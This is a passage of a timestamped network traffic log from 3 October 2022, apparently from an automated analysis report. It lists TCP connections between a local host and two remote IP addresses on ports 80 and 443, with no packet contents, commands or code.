Oct 3, 2022 17:35:31.460113049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460144043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460170031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460185051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460199118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460211992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460227966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460241079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460253000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460267067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460278034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460298061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460303068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460314035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460328102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460339069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460351944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460366964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460377932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460382938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460403919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460422993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460431099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460441113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460454941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460469961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460479975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460494995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460505962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460521936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460532904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460537910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460556984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460573912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460580111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460589886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460612059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460621119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460639000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460664988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460686922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460690975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460720062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460721970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460735083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460761070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460764885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460813046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460829973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460855007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460875034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460880041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460903883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460905075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460926056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460928917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460942984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460952997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460967064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460978031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460987091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.461029053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.461044073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.461066961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.461968899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.461997032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462021112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462038994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462049007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462064981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462079048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462107897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462112904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462135077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462152004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462162971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462186098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462188959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462214947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462215900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462235928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462248087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462255955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462290049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462296009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462322950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462336063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462349892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462363958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462377071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462383032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462405920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462419033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462433100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462440968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462460041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462472916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462486982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462491989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462513924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462526083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462541103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462548018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462563038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.462580919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.462605953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471733093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471780062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471807003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471810102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471833944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471859932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471859932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471885920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471899033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471910954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471934080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471936941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471962929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471965075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.471987963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.471992016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472003937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472029924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472105026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472151041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472194910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472222090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472233057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472249031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472255945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472275972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472286940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472301960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472313881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472337008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472345114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472345114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472369909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472389936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472392082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.472462893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.472462893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.906486034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.975447893 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.975511074 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.975925922 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.979027987 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.982105017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982829094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982861042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982904911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982935905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982963085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.982968092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.982990026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.983004093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.983016014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.983016968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.983041048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.983058929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.983069897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.983093023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.983117104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.983133078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.983160973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.993206024 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.993236065 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.995543003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995585918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995611906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995635986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995647907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995661020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995677948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995687962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995690107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995711088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995712996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995728970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995738029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995748043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995764971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995779037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995790005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995804071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995816946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995842934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995852947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995867014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995876074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995892048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995903015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995918036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995943069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995954990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995968103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.995980024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.995995045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.996006012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.996021032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.996042013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.996043921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.996068001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.996071100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.996083975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.996095896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.996107101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.996134043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012303114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012381077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012392044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012404919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012418985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012438059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012443066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012456894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012466908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012485027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012490034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012510061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012512922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012530088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012538910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012552023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012562990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012586117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012586117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012609005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012613058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012624025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012634039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012650013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012658119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012676001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012681961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012695074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012706041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012716055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012728930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012742043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012751102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012763023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012777090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012790918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012800932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.012811899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.012835026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025473118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025515079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025542021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025568008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025593996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025610924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025619030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025644064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025645971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025660992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025674105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025686979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025700092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025711060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025726080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025749922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025752068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025763035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025777102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025790930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025803089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025813103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025829077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025854111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025868893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025868893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025878906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025896072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025911093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025921106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025926113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025949955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025950909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025969028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.025976896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.025983095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026002884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026026964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026031017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026045084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026051998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026062012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026079893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026094913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026107073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026117086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026134968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026158094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026160002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026170969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026185989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026197910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026211023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026221037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026237011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026256084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026262999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026273012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026287079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026299000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026312113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026323080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026338100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026355028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026365042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026376963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026391983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026417017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026431084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026442051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026454926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026468039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026480913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026494026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026519060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026530981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026546001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026555061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026571035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026578903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026612043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.026619911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.026664019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.035140038 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:32.035231113 CEST	443	49704	162.0.217.254	192.168.2.7
